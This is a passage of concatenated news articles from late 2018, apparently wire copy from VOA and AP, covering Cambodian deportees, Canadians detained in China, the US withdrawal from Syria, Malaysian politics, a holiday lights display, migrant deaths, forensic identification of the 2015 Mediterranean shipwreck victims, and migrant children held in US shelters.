no-deal Brexit. Some lawmakers suspect the government is raising the stakes by planning for a no-deal Brexit in order to pressure the House of Commons to approve her withdrawal agreement. Until last Friday, Soeun Neat had been tearfully preparing her children for their father's deportation from the United States to Cambodia. Her husband, Sear Un, is being detained at the Otay Mesa Detention Center in San Diego under a resettlement program that has seen scores of Cambodians who have settled in the United States - mostly refugees - deported for felony convictions since 2002. Un has a 20-year old criminal conviction. One hundred ten Cambodians were deported in Fiscal Year 2018, up from 29 in FY2017, according to Department of Homeland Security figures. It had been a miserable few months for the heavily pregnant Neat since Un was detained by U.S. Immigration and Customs Enforcement on September 5. "Most of the nights I would cry myself to sleep just because it was hopeless. You know how can I help my husband if I have no knowledge about the legal system? she asked. Neat did find someone with a forensic knowledge of immigration law:Asian Law Caucus staff attorney Kevin Lo. Her husband's fortunes began to change. ALC and its affiliates are litigating a class action lawsuit challenging the detention of Cambodians with final orders of removal and have secured stays for at least 15 of them since October 2017. Un was convicted in 1998 for residential burglary, then considered an aggravated felony.He stayed in the car during the actual theft and was offered a misdemeanor charge but took a felony instead so that his friend, who already had a prior conviction, could avoid a second strike. Lo and his team quickly recognized that Un's charge had been reclassified and was no longer a deportable offense - opening a ray of hope. On Friday, Un was granted a last minute stay before a plane loaded with 36 Cambodian deportees took off for Phnom Penh from El Paso, Texas, four days later. The five-month stay allows his case to be considered by a court. Lo said they were able to secure temporary stays for five of the Cambodians scheduled to be deported on that flight - which carried one of the largest groups of deportees ever sent back. "I would say that it is absolutely certain that there are other people on board who could have reopened their removal orders," Lo said in an email. "Asian Law Caucus attorneys have taken on clients from Northern California and the Central Valley of California in each ICE raid, and we have always identified people with options and then successfully helped some of them fight it out in the courts." Under the Trump administration, ICE has been directed to pursue deportations of convicted felons aggressively. In 2017, Cambodian officials, who have routinely expressed disgust at the program, started refusing to accept deportees. But their defiance was short-lived. After the Trump administration imposed visa sanctions on high ranking government officials and their families, Cambodia agreed to resume deportations in February. "As a result of these sanctions and ongoing diplomatic efforts, removals to Cambodia increased 279 percent from Fiscal Year 2017 to Fiscal Year 2018," ICE Public Affairs Officer Brendan Raedy told VOA. Raedy said that "despite this progress" there are still 1,855 Cambodian nationals present in the United States with a final order of removal, of whom 1,362 were convicted criminals as of September 17. Cambodian officials could not be reached for comment for this story. ALC attorneys have been identifying deportees in Phnom Penh who they believe have strong arguments to have their cases reopened. In November, Phorn Tem, a Cambodian deported in April for a possession of marijuana for sale conviction, became the first deportee allowed back into the United States. A day after he was deported, Tem's conviction was overturned. A judge found he had not been properly informed of the immigration consequences of pleading guilty. ALC used this ruling to reverse his deportation order and hopes soon to help make him the first Cambodian deportee to be issued a green card. They are hoping more of those on Tuesday's flight will also return after pardons have been requested from outgoing California Governor Jerry Brown. "Even though the flight has left, a gubernatorial pardon could bring people back, erase their convictions and reverse their deportation in a very real sense," Lo said. With her husband still detained but safe from deportation at least until May, Soeun Neat's hope of reuniting her husband with her children rests with Governor Brown. "This Friday, December 21st I believe Governor Brown will announce the pardon because on Monday it's going to be Christmas Eve and I don't believe the governor will come out on Christmas Eve to announce it," she said. If that does happen Un would be home two days late for his daughter Soraneen's fourth birthday, but at least in time for the holidays. China says a detained Canadian woman is serving administrative punishment for working illegally. At a briefing with reporters Thursday, Foreign Ministry spokeswoman Hua Chunying identified the woman as Sarah McIver. She did not give details about the penalties. Canadian media earlier identified McIver as a teacher. Canadas Prime Minister Justin Trudeau said Wednesday his government was trying to get more information about the case, but that McIvers detention did not seem to be related to the detention of two other Canadians in China. He called it a very separate case. Two Canadians were taken into custody in China shortly after Canadian police arrested a top Chinese telecom executive on a U.S. warrant Dec. 1. Huawei CFO Meng Wanzhou is accused of evading U.S. sanctions against Iran. Although Canadian officials have not directly tied the detentions in China to Mengs arrest, former Canadian ambassador to China, David Mulroney, finds that unlikely. One detention is bad enough. Two is terrible. Three underlines how ruthless China can be. It serves as a reminder for people that China is a detention state, he said. The Chinese Foreign Ministry said earlier that the other two Canadians, former diplomat Michael Kovrig and business consultant Michael Spavor, are accused of endangering Chinas national security. U.S. officials say Meng lied to banks about Huaweis control of Hong Kong-based Skycom, a company that allegedly sold U.S. goods to Iran in violation of U.S. sanctions. Meng is out on bail in Vancouver while she awaits a hearing on extradition to the United States. China has warned Canada of grave consequences if it does not free Meng. President Donald Trump told Reuters last week that he would personally intervene in the Meng case if it would benefit U.S. national security or help close a trade deal with China. Nelson Wiseman, a political science professor at the University of Toronto, says it is easy for China to direct its anger at Canada, but that it should be blaming the United States instead. "The trade relationship, and more broadly strategically, is so important that they're afraid of whipping up the ire of the American president," Wiseman told VOA."And for them the most vital thing is getting to some sort of trade agreement with the United States because right now they're economy is actually on a downward slope." U.S. President Donald Trump's tweet early Wednesday on the fight against the Islamic State terror group in Syria was definitive. "We have defeated ISIS in Syria," he wrote, using an acronym for the group, adding the defeat of the group was "my only reason for being there during the Trump Presidency." "The United States has defeated the territorial caliphate," White House Press Secretary Sarah Sanders said in a statement issued about an hour later. "We have started returning United States troops home." About an hour after that, the Pentagon weighed in. "The Coalition has liberated the ISIS-held territory," Chief Defense Department spokesperson Dana White said in a statement, cautioning "the campaign against ISIS is not over." Statement came as surprise All three statements took many in the defense and intelligence communities by surprise, as it countered the narrative that had been laid down by multiple officials for months, and voiced just last week. "Obviously, it would be reckless if we were just to say, well, the physical caliphate is defeated, so we can just leave now," Brett McGurk, the special presidential envoy for the Global Coalition to Defeat ISIS, told reporters during a State Department briefing Dec. 11. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," McGurk added, warning that despite significant progress against the remaining IS forces in their Middle Euphrates River Valley stronghold of Hajin, completing the conventional military campaign would take "a period of months." The number of IS fighters in the area, McGurk said, remained at about 2,000 the same figure U.S. defense officials had been sharing since October describing them as the most hardened of the terror group's operatives. The U.S.-led coalition likewise had warned that the final defeat of the caliphate would take time. "ISIS remnants are fortifying their positions and digging in for a protracted campaign," Operation Inherent Resolve spokesman Col. Sean Ryan told Pentagon reporters in late November during a video briefing from Baghdad. "We should remain patient, as fighting will continue to be intense as we continue to pressure the enemy into smaller and smaller spaces," he said. "They're in tunnels, they're hiding," Ryan added, cautioning some reinforcements were still getting to the region even though the capabilities were degraded. IS stronghold Military concerns about the capabilities and resolve of IS fighters in their remaining Syrian strongholds around Hajin, has also been reflected in a significant increase in the number of airstrikes by the U.S.-led coalition. According to the coalition, the number of strikes targeting Hajin and surrounding areas almost tripled, from 86 strikes during the last week of November to 250 strikes the first week of December. Numbers released by the coalition early Wednesday indicated another 207 airstrikes against IS in and around Hajin between Dec. 9 and Dec. 15, with targets ranging from staging areas to command and control centers to petroleum facilities. As with most airstrike reports from the coalition, there was no estimate on the impact on Islamic State fighters, something defense officials have repeatedly resisted as the fight against the terror group has dragged on. Still, recent assessments by defense and intelligence officials suggest that even without being able to claim any territory of its own, IS remains a potent and deadly force in both Syria and Iraq. U.S. Defense Department estimates provided for an inspector general report in August cautioned there are still anywhere from 28,600 to 31,600 IS fighters in Iraq and Syria, close to the 33,000 fighters the terror group was thought to have during its height in 2015. In Syria alone, defense officials estimated IS had up to 14,500 fighters, with the vast majority, up to 10,000, operating in areas controlled by Syrian, Russian or Iranian forces and beyond the reach of the U.S. and its partners. IS "is well-positioned to rebuild and work on enabling its physical caliphate to re-emerge," Pentagon spokesman Cmdr. Sean Robertson told VOA at the time. Defeat a long way off U.S. intelligence and counterterrorism officials have also warned, publicly, that an enduring defeat of IS was still a long way off. IS "remains an adaptive and dangerous adversary, and is already tailoring its strategy to sustain operations amid mounting losses," Russell Travers, the then-acting director of the U.S. National Counterterrorism Center warned lawmakers in written testimony in October. "In Iraq and Syria, the group's leaders are adopting a clandestine posture, moving to rural safe havens in order to support a long-term insurgency," Travers said, adding the group's success would "rely heavily on its success in exploiting the grievances and disenfranchisement of local Sunni civilians" in both countries. That assessment mirrored similar estimates by the U.S. director of national intelligence in his February report on worldwide threats. "ISIS core has started and probably will maintain a robust insurgency in Iraq and Syria as part of a long-term strategy to ultimately enable the reemergence of its so-called caliphate," the report predicted. "This activity will challenge local CT [counterterrorism] efforts against the group and threaten U.S. interests in the region." The administration's action also seems to run counter to remarks U.S. National Security Adviser John Bolton made in September in New York, ahead of Trump's planned speech to the U.N. General Assembly. "We're not going to leave as long as Iranian troops are outside Iranian borders, and that includes Iranian proxies and militias," Bolton said at the time, signaling U.S. troops would stay in Syria beyond the defeat of Islamic State militants. At the same time, Defense Secretary Jim Mattis said while the U.S. military mission in Syria remained the same focused on defeating IS the U.S. would not abruptly leave the region, a move that would likely leave people recently freed from IS control vulnerable to a resurgence of militant violence. Factional warfare has erupted on both sides of Malaysian politics as a bitter internal feud brings to a close the honeymoon period for the Pakatan Harapan (PH) coalition government. Nurul Izzah Anwars shock resignation as a vice president of the Peoples Justice Party (PKR) this week has exposed deep underlying divisions in a coalition forged between two political forces that for years stared at each other from opposite sides of the trenches. The crux of the fighting centers around political maneuvering by Prime Minister Mahathir Mohamad that has raised concerns in some quarters he may renege on his pledge to hand over power to his former nemesis turned political ally Anwar Ibrahim. PH is a coalition forged between Mahathir and Anwar, a former protege Mahathir turned on and jailed on controversial sodomy and corruption charges before the pair reunited to stage a staggering election victory in May ending more than six decades of single party rule in Malaysia. While Nurul, Anwars daughter, has refused to elaborate on her resignation, recently defeated PKR deputy presidential candidate and close ally Rafizi Ramli publicly lambasted the PH leadership in a blog post Wednesday, declaring the euphoria has gone somewhat sour. I hate to be the bearer of bad news, but someone must bell the cat, he wrote before pointing to plummeting opinion polls and outlining a raft of grievances with the partys current direction. Chief among them are Prime Minister Mahathirs courting of defectors from his former party and PKRs longtime enemies - the United Malays National Organization (UMNO) - into his new party Bersatu. Rafizi attacked the notion that PH needs UMNO defectors because of its relatively weak standing with the countrys majority ethnic Malay population, arguing racial politics were a distraction from core voter concerns their economic well being. We could achieve more if we focus on making sure the multiracial Malaysians get a fair treatment in every sphere of their life, regardless of race and religion, Rafizi wrote. Defections and succession rumblings UMNO, which Mahathir led for two decades as prime minister before retiring in 2003, has been unable to resolve an existential crisis that has afflicted it since its shock electoral defeat in May. The spectacular loss came as Prime Minister Najib Razak was dragged deeper and deeper into the multibillion dollar 1MDB corruption scandal, but was still almost universally unforeseen. What could a party that had now been so glaringly exposed as a vast patronage network ruling for self-preservation claim to stand for in opposition? In the past 10 years or so at least UMNO has become largely a party of incumbency and advantage. So losing power immediately caused an existential crisis on them, said Wong Chin Huat, a political scientist at the Penang Institute. Without the perks and patronage they could not retain their talents and supporters, he added. From retirement, the conservative nationalist Mahathir had re-emerged as the resurgent successor at the head of a coalition dominated by progressive opposition parties from the Reformasi movement he had long fought hard against. Anwars support was predicated on an eventual transfer of power, which the 93-year-old Mahathir has repeatedly pledged to honor. Recent UMNO defections to his party though have sowed the seeds of suspicion that Mahathir is strengthening his numbers in the parliament to sure up a freer hand in such decisions, said James Chin, director of the Asia Institute Tasmania at the University of Tasmania. You have to remember that when they got into government they dont trust the old man because of the old mans authoritarian ways. But the old man couldnt do anything because his party was the second smallest. He only had 13 MPs on election night, he said. Mahathirs play is to make sure he can get up to somewhere between 30 to 40 MPs before he steps down so that the other two parties cant bully him. He said there was a fear among PH coalition partners that Bersatu could become UMNO 3.0. Bersatu consists of people who are basically ex-UMNO. These people only know how to be in government to get benefit, so without that connection the party will cease to exist. Meanwhile trust concerns have reverberated through Kuala Lumpurs chattering class over Anwars inability to consistently articulate what he stood for, Chin said. Its very likely if Mahathir stepped down, he will bypass Anwar and go to his favorite candidate which is [Minister of Economic Affairs] Azmin Ali, Chin said. Of the 54 UMNO MPs elected to Malaysias 222 seat parliament in May, 17 have defected to join PH or become independents according the New Straits Times. Mahathirs staff declined to comment on the defections when contacted by VOA. But he has told local media any UMNO defectors will be tightly scrutinized before they are accepted into the party. Representatives of UMNO have also declined to comment, including prominent MP Khairy Jamaluddin, who was photographed on Wednesday having lunch with Nurul and Rafizi. Since PH came to power, Malaysia has resembled a political fairy-tale that saw old foes unite to defeat a common enemy and push the country toward liberalization in a region dominated by autocrats. Najib and his wife, Rosmah Mansor, are being brought to justice over 1MDB while sedition laws and the death penalty have been abolished. Deep forces of political self-interest have now though, inevitably, resurfaced. You cannot miss the annual over-the-top Christmas lights and decorations at the Farmer house on a quiet street in Alexandria, Virginia, outside Washington. They are everywhere in the yard, on the house, and even covering the roof. Visitors are greeted by arches over the driveway strung with thousands of colorful tiny lights. Its magical and overwhelming at the same time, said Ela Macander, who came for the first time. You dont know where to look, theres so much going on. And thats the whole idea, explained Kurt Farmer, who spent 300 hours putting up the spectacular displays of hundreds of plastic and inflatable carolers, snowmen, toy soldiers and much more. And a large collection of Santas, including Santa with his reindeer, which was hung from a tree. The flying Santa, that takes me right back to my childhood, Farmer said. Its in the exact same place it has been for 40 years. Father's production, family tradition When he was 10, Farmer began helping his father put up the decorations that started small and over the years grew into a big production that included dancing toys, a nativity scene, Disney characters and Star Wars heroes. After Farmers mother died, his father moved out of the house. Then Kurt Farmer moved into the family home and carried on his fathers tradition. He wanted to continue what his father started: making people happy and kind of forget about the real world for a little while. Now, his 9-year-old daughter Lilly lends him a hand. I just like helping him and doing some of the work, she said. Visitor Jenny Kaur has been coming to the house for the past few years to see what is new. Its great that people keep the traditions going, she said. So much joy, and its just lovely. Its like youre transported into a different Christmas world. A list for Santa That world includes a big snowman with a snow globe on the bottom with gently falling snow, and an inflatable Santa waving from his helicopter with spinning blades. Farmer asks for the same Christmas present every year more decorations. I make a list for Santa, he said, smiling. Santas been very good to me. We leave the lights on so he never misses the house. Three years ago, Farmer fell while putting decorations on top of the house, shattering his pelvis. He spent months learning how to walk again. But despite his injuries, he was back on the roof the following year determined to set up his cherished display. Farmer often feels his mothers spirit with him. Her hand is on my shoulder telling me, This looks pretty neat, he said. Thousands to visit More than 3,000 people are expected to visit the house during the three weeks it is decorated for the holidays. Some visitors find out about the house from the internet, like Laura Broughton from Washington, who was enjoying the worn vintage figures that look like they have been around a long time. Ann Smalls two young sons were enjoying the Mickey Mouse cartoon characters. I think its spectacular that someone would take the time to put this much effort into it for the kids, she said. Farmer likes watching the children get excited. But he said he enjoys seeing the reaction from the adults even more. The adults can walk through and see something somewhere that reminds them of when they were growing up. Its important to make people happy and take them back to their childhood, he said. Farmer hopes visitors will leave feeling like they just got a nice, warm hug. A Honduran migrant who had recently been deported from the United States was shot and killed a few blocks from his home, his family said Wednesday, in another sign of the dangers faced by migrants fleeing Central American gangs. Nelson Espinal, 28, was shot 15 times on Tuesday night shortly after leaving his home in the capital Tegucigalpa, said his sister, Patricia Espinal. The neighborhood is dominated by the Barrio 18 gang, one of the country's most dangerous. Espinal was deported from the United States in late November and barred from returning for five years, according to documents from the U.S. Department of Homeland Security. Nevertheless, Espinal, who worked in construction, planned to make another attempt to enter the country in January, his sister said. "He said that if he did not leave, they were going to kill him," Patricia Espinal said as her mother, Sara Matamoros, wept. "That's why he left following the caravan." Crossed illegally Espinal was detained after crossing the border illegally in Arizona, according to U.S. Customs and Border Protection. He did not appear to be part of the migrant caravans trekking from Central America to the United States and did not seek asylum, the agency said. On Wednesday, a U.S. federal judge struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries. In Mexico, authorities are investigating the deaths of two migrant teenagers from Honduras who were killed in the border city of Tijuana last weekend. The youths, believed to be about 16 or 17, showed signs of having been stabbed and strangled. It could not be determined whether the victims had planned to apply for asylum. Mexican President Andres Manuel Lopez Obrador told reporters on Wednesday that his government would seek "fair treatment" for migrants. More than 2,000 mainly Honduran immigrants who traveled with the caravan remain in a shelter in Tijuana, Lopez Obrador said. U.S. President Donald Trump has insisted that they will not be allowed into the United States, but a few asylum seekers have already crossed the border. The killings could fuel criticism of a policy proposal that Mexico and the United States discussed earlier this year to have Central American migrants wait in Mexico while their asylum claims are processed. Before their lives ended in an underwater deathtrap, before they lined up 100 to a row on a Libyan beach to board a boat with no anchor, the young men from the parched villages of the Sahel had names. Two forensic investigators, one crisscrossing Africa and another in a university laboratory in Italy, are on a quest against the odds to keep Italy's promise to find those names. They are tracing the identities of the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015, in the Mediterranean's deadliest shipwreck in living memory. The pledge was made before Europe turned against migrants, and it just got even harder to keep. Nearing their very first formal identification, one of the investigators made a devastating discovery this month: The vessel carried not 800 people, as initially believed, but nearly 1,100. Suddenly, there are hundreds more passengers to identify, adding to more than three years of painstaking work that had already pushed the boundaries of forensic science and tested the limits of both the Peruvian investigator with expertise in human rights violations and the Italian pathologist volunteering on the project. The story of the fishing boat known as the peschereccio and its passengers reflects how migrants can simply vanish worldwide, sometimes without a trace. At a time when global migration is at an all-time high, The Associated Press has found in an exclusive tally that at least 62,284 migrants have died or disappeared worldwide since 2014. That's more than double the only official attempt at a toll, by the U.N.'s International Organization for Migration. But it is also a story of how difficult it is to document these dead and missing, especially at a time when there is no longer a political will to support survivors, let alone figure out how many migrants died and who they were. Back in 2015, then-Prime Minister Matteo Renzi committed Italy to giving names back to those who perished in the April 18 shipwreck. There was a "short period of sunlight," when Italian agencies worked together to recover the bodies and start the process of identifying them, according to Cristina Cattaneo, the Italian forensic investigator. "It was a magical moment," she said. Governments have since cut back on funding; rescue operations have ceased in the Mediterranean. Many Italians question the need to identify the bodies when they already have "a tomb at the bottom of the sea," said Roberto Di Bartolo, the engineer who led firefighters in the recovery operation. "But if this boat had not been full of people from Africa and instead they came from the United States, Australia or Japan," he said, "we would have done everything to get the bodies out and find their identity, to give names to those people, because they were people." 'Is he alive? Is he dead' The migrants on the peschereccio started their journeys in some 20 countries, from Bangladesh to the western tip of Mauritania, according to information from the two investigators, published accounts of survivors, Italian government documents, and families who fear their loved ones were among the passengers. Many came from Africa's Sahel region, where Senegal, Mali and Mauritania meet, walking northward or hitching rides in trucks. Cheikh Fofana's son called around that time to say he was leaving soon for Europe. Fofana warned him to wait for a big boat that might withstand the force of the sea. Surviving a vast ocean is nothing like escaping a tree-lined river, he said. "I told him not to take a makeshift boat, it's very dangerous, it's risky because the sea has no branches," Fofana said. His son, Tidiane, responded he had waited too long to cross already, but promised, "I'll try to take the big boat." That was the last time they spoke. He vanished along with two other young men from the town. It is not known if they were among the 12 rows of men, 100 to a row, who lined up on the beach the day before the doomed peschereccio left from Libya. At the last minute, a truck arrived filled with around 200 men from East Africa. They had paid a premium and had priority boarding. Not everyone on the beach would fit on the peschereccio, although the smugglers managed to slip a few extra on board. The overcrowded boat made it 77 nautical miles off the coast of Libya, when it started to founder. It collided with a freighter that was trying to come to its rescue and sank, taking nearly all its human cargo into the depths. Twenty-four bodies were fished out of the water and dropped off in nearby Malta. But Malta wouldn't accept the 28 survivors, who were then taken by the Italian coast guard to the Sicilian port city of Catania. The boat pulled up to the dock in the middle of the night, where a throng of volunteers tossed flowers at it and handed the survivors cellophane-wrapped care packages. Over the next few days, the handful of survivors called home and word of the disaster spread like dust through the Sahel. Around this time, Fofana called his son's phone again. A stranger answered and told him Tidiane had left for Italy. The family visited several spiritual leaders, known as marabouts, hoping to learn Tidiane's fate. One said only that the son was in a "state of obscurity." "I know that if he is dead, there's nothing more I can do, by the will of God. But let me know, is he alive? Is he dead?" Fofana said, his lined face twisting in anguish. "This is the doubt that troubles me." 'A carpet of human silhouettes' It took a year to raise the hull from the sea floor and drag it to Italy, at a cost of 9.5 million euros. Even before they rigged the pulley to the fragile frame of the boat, divers working 370 meters (1,214 feet) underwater placed a wreath of flowers on the waterlogged deck. The resurfacing operation took 20 hours men leading it from the control room applauded when it budged from the seafloor. The navy's video aired on national television. The fishing boat dangled from an enormous sling as the water drained away, reeking of death in dry dock at Melilli naval port in Sicily the Italian island the migrants had hoped to reach when they set out. That's when Italy's top pathologist, Cattaneo, arrived. So terrified of flying that she chose a 13-hour train and ferry trip to Sicily over a 90-minute flight, she was fearless when faced directly with death. As the firefighters donned hazmat suits against possible biological hazard, Cattaneo wore a T-shirt and jeans, her blond head bobbing amid the wreckage and bodies, a pair of latex gloves her only protection. Her confidence calmed them. "I found before me a carpet of human silhouettes that stretched out across the area of the hold ... almost all face down, some in a fetal position, many swollen with putrefaction, made human by their hair, gloves, sweaters and the shoes they had on," Cattaneo wrote in her book published earlier this month, Shipwrecked and Nameless. The bodies were crammed five to a square meter (yard) "like a slave ship," said Di Bartolo, the firefighter engineer. "Out of respect, no firefighter ever stepped on a body," Di Bartolo said. "We had to lie across them to pull them up, but we never walked on them." At Cattaneo's tent-lab, 50 pathologists and forensic investigators from 12 Italian universities worked in rotations, stretching the bounds of science to extract and sequence DNA from bodies or fragments that had been submerged in seawater for a year. With gloved hands, pathologists sealed plastic baggies of belongings, matching numbers with body bags as best they could. Other workers sealed metal coffins with a blowtorch. As Cattaneo counted bodies 500 of them by the September 2016 legal proceedings moved forward in the case. On Dec. 13, the Tunisian captain of the vessel was convicted of manslaughter and trafficking and sentenced to 18 years in prison. His Syrian mate got a 5-year term. The peschereccio lacked an anchor, the "captain" had no idea what he was doing, and the vessel was too rickety to withstand the waves or the hundreds of men on board. U.N. and EU investigations later revealed that the head of the operation was a Libyan trafficker nicknamed "The Doctor," believed to have sent 45,000 migrants to Europe in 2015 alone, and infamous for his brutality and the flimsiness of his boats. He's never been apprehended. Also in December, Renzi the prime minister who had kept his vow to retrieve the boat with remains lost the confidence of Italian voters and resigned as Italy's leader. His departure contributed to the ascent of the fiercely anti-migrant Matteo Salvini. As 2016 closed, Mediterranean migrant deaths peaked at more than 5,100, according to the IOM tally. In the end, Italy counted 547 victims of the shipwreck plus 325 skulls that Cattaneo keeps at her lab for study. In her book, she detailed for the first time her suspicion that more than 1,000 people had died on the ship, relying upon accounts from survivors and what she saw in the hull. The final body belonged to a Gambian, PM390345. In his wallet he had a passport, a library card, a student card and a blood donor certificate. In the pockets of his brown jacket he had some fig seeds. 'Families do matter, and not knowing kills' It was time to find the families. For that, Italy turned to Jose Pablo Baraybar, the Peruvian forensic anthropologist from the International Committee of the Red Cross. An intense man with enormous eyes magnified by button-lensed glasses, Baraybar investigated human rights abuses in his home country as well as Haiti, Rwanda and the Balkans. He started with the names of 27 young men from Mauritania whose families had reported them missing around April 2015 to the Red Cross. That is how he found himself in May this year in the village of Melga along the desiccated bed of the Senegal River, armed with swabs for DNA samples and a whiteboard marker. Seated on the ground in the heat of the day, meeting with families who wanted to learn the fate of their sons, Baraybar had no easy answers. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. Men and women allowed Red Cross staff to gently swab the inside of their cheeks, and entrusted Baraybar with still more names as they sipped water beneath huts with no walls and just fabric for a roof. The 27 names led to 40 more in Mauritania to try to match against the DNA samples sequenced by Cattaneo in Italy. With the information he'd gathered, Baraybar was able to chart connections among the young men who headed north for a better life. He uncovered the names of relatives, friends, acquaintances and even traffickers from the Sahel as he sought an algorithm to predict where victims might have lived and who might have been on the boat. That led him to his most recent trip to Senegal, where he confirmed crucial details about how the boat was loaded. Three of the rows of 100 migrants each waiting on the beach didn't make it on the boat, because a truck arrived carrying around 200 migrants from East Africa who had paid a premium to board first. And so Baraybar knows that somewhere in East Africa the families of dozens of men who disappeared in 2015 must be wondering about their fate. "Families do matter," he said. "And not knowing kills." Mariama Konte knows too well the price families pay when loved ones disappear in migration. Her father-in-law died of grief after her husband vanished around the same time as six other young men from Dougue. They last heard from them around April 2015, and the families fear the young men headed for Italy were on the peschereccio. In Dougue, on dirt roads so empty that donkeys can rest in the street at midday without fear of a car, it's easy to spot the families whose sons work in Europe. They're the ones with the concrete houses, the metal rooftops and prominent satellite dishes. They have the largest herds of cattle and motorcycles, and their children are in school. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families of the missing already had. So a few weeks ago, the family sacrificed a sheep, and she put on a lemon-yellow veil that marks her as a widow. She will wear the same clothes for four months and 10 days, washing only on Fridays. She will stay inside the family's compound and eat her meals alone. Then, by tradition, she will almost certainly marry one of her husband's brothers. Even now, she cannot quite accept that her husband is dead. "Each night I pray for him. I pray to God that he will find my husband," she said. "To find another husband is not hard but to find one like him is difficult." 'Mission impossible' The peschereccio still sits with holes in its sides where the bodies were pulled out. Italy's government refused to pay for Cattaneo's plan to move it to Milan. In 2018, the number of migrants arriving illegally in Europe is set to reach its lowest level in five years; the number of dead is well below the levels seen when IOM started counting. Salvini, who is now Italy's interior minister and oversees the missing person's office, was uninterested in whether Renzi's promise had been kept. He credits the new government's hardline policies against rescue for deterring deaths this year. "You do not need a scientist to figure it out, that the fewer people depart, the fewer people die," he told The Associated Press with a shrug. Baraybar and Cattaneo say they are close to their first identification a single name among nearly 1,100 dead in a single shipwreck in a year that saw at least 211 boats sink into the Mediterranean. He describes it as nearly a "mission impossible." And then he presses onward, searching for families who have more questions than answers. His eyes widening almost past the edges of the round frames, he asks: "What kind of thing can you give back to these people that have lost everything?" Only the names of the missing. Authorities in Mexicos Baja California state have arrested three suspects in the killing of two Honduran teen migrants who were found dead Saturday in the border city of Tijuana. Prosecutors said in a statement that two men and a women were being held on murder and other charges. The victims were said to be about 16 or 17 years old. The statement said the migrants were walking down a street after leaving a shelter and were approached in an apparent robbery attempt. One other person who was with them was hurt but managed to escape, and the bodies of the teens were later found in an alley with signs of strangulation and stab wounds. The Honduran foreign ministry has sent its condolences to the victims families, and said it awaits an official report from Mexican authorities and to see those responsible brought to justice. Honduras also cautioned its citizens not to risk their lives on the dangerous migratory route northward toward the United States. Thousands of people have traveled that path in recent months seeking to escape violence and poverty at home and the chance to seek asylum in the United States. They are waiting in Tijuana, an area that was already crowded with asylum-seekers, where they now face long wait times in order to have their claims heard. At the main U.S. port of entry in the area, authorities have been processing about 60 asylum claims per day. Decades after the U.S. stopped institutionalizing kids because large and crowded orphanages were causing lasting trauma, it is happening again. The federal government has placed most of the 14,300 migrant toddlers, children and teens in its care in detention centers and residential facilities packed with hundreds, or thousands, of children. As the year draws to a close, some 5,400 detained migrant children in the U.S. are sleeping in shelters with more than 1,000 other children. Some 9,800 are in facilities with 100-plus total kids, according to confidential government data obtained and cross-checked by The Associated Press. That's a huge shift from just three months after President Donald Trump took office, when the same federal program had 2,720 migrant youth in its care; most were in shelters with a few dozen kids or in foster programs. Some of the children may be released sooner than anticipated, because this week the administration ended a portion of its strict screening policies that had slowed the placement of migrant kids with relatives in the U.S. Until now, public information has been limited about the number of youths held at each facility overseen by the Office of Refugee Resettlement, even for attorneys representing the kids. But the AP obtained data showing the number of children in individual detention centers, shelters and foster care programs for nearly every week over the past 20 months, revealing in detail the expanse of a program at the center of the Trump administration's immigration crackdown. The data shows the degree to which the government's approach to migrant youth has hardened, marking a new phase in a federal program originally intended to offer safe haven to vulnerable children fleeing danger across the globe. It's been taking at least twice as long, on average two months rather than one, for youth held inside the system to get out, in part because the Trump administration added more restrictive screening measures for parents and relatives who would take them in. That changed Tuesday when the administration ended a policy requiring every adult in households where migrant children will live to provide the government with fingerprints. All still must submit to background checks, and parents themselves still need to be fingerprinted. Nonetheless, officials said they could now process some children more rapidly, and hoped to shorten shelter stays that had dragged on so long kids sometimes wondered if their parents had abandoned them for good. "It's a pain we will never get through,'' said Cecilio Ramirez Castaneda, a Salvadoran whose 12-year-old son, Omar, was taken from him when they were apprehended in June under the administration's "zero tolerance'' policy, which led to nearly 3,000 children being separated from their families. Omar feared his father had given up on him during the five months he spent in a Southwest Key shelter in Brownsville, Texas, with dozens of kids. Ramirez was reunited with Omar last month only to learn that his son had been hospitalized for depression and medicated for unclear reasons and suffered a broken arm while in government custody. "It's a system that causes irreparable damage,"he said. "My son says they would tell him that because he wasn't from here, he had no rights." Experts say the deep anxiety and distrust children suffer when they're institutionalized away from loved ones can cause long-lasting mental and physical health problems. It's dangerous for all but worse for younger children, those who stay more than a few days and those who are in larger facilities with less personal care. "This is not a perplexing scientific puzzle. This is a moral disaster,'' said Dr. Jack Shonkoff, who heads Harvard University's Center on the Developing Child. "There has to be some way to communicate, in unequivocal terms, that we are inflicting punishments on innocent children that will have lifelong consequences. No matter how a person feels about immigration policy, very few people hate children and yet we are passively allowing bad things to happen to them.'' Administration officials said increased need has driven them to expand the number of beds available for migrant children from 6,500 last fall to 16,000 today. Mark Weber, a spokesman for the U.S. Department of Health and Human Services, which oversees ORR, said sheltering children in large facilities, while not preferable, is a better alternative than holding them for long periods at Border Patrol stations ill-suited to care for them. "This is an amazing program with incredibly dedicated people who are working to take care of these kids,'' he said. "There are a large number of children and it's a difficult situation, and we are just working hard to make sure they are taken care of and placed responsibly.'' Weber confirmed a number of specific shelter populations from the data the AP obtained. To further verify the data, reporters contacted more than a dozen individual facilities that contract with ORR to house migrant children. Reporters also cross-referenced population numbers previously collected by AP and its partners. The kids in government care range in age from toddlers to 17. The vast majority crossed the border without their parents, escaping violence and corruption in Central America, but some were separated from their families at the border earlier this year. The care they receive varies greatly in the opaque network, which has encompassed 150 different programs over the last 20 months in 17 states. Some children live with foster families and are treated to Broadway shows, while others sleep in canvas tents exposed to the elements amid the Texas desert. Through dozens of interviews and data analysis, AP found: As of Dec. 17, some 9,800 children were in facilities housing more than 100 kids; 5,405 of those were in three facilities with more than 1,000 youths two in Texas and one in Florida. Texas had the most growth over the last 20 months in the number of kids under ORR custody. In April 2017, there were 1,368 migrant children in facilities or foster care in Texas. As of Dec. 17, the number was about 8,700. New York had the second-highest number of children: 1,653, up from 210 in April 2017. Cayuga Centers grew from about 40 kids to close to 900; all are in foster homes. The five largest providers, in order, are Austin, Texas-based Southwest Key; San Antonio-based BCFS Health and Human Services; Comprehensive Health Services Inc., based in Cape Canaveral, Florida; Cayuga Centers in Auburn, New York; and Chicago-based Heartland Alliance. Together they had about 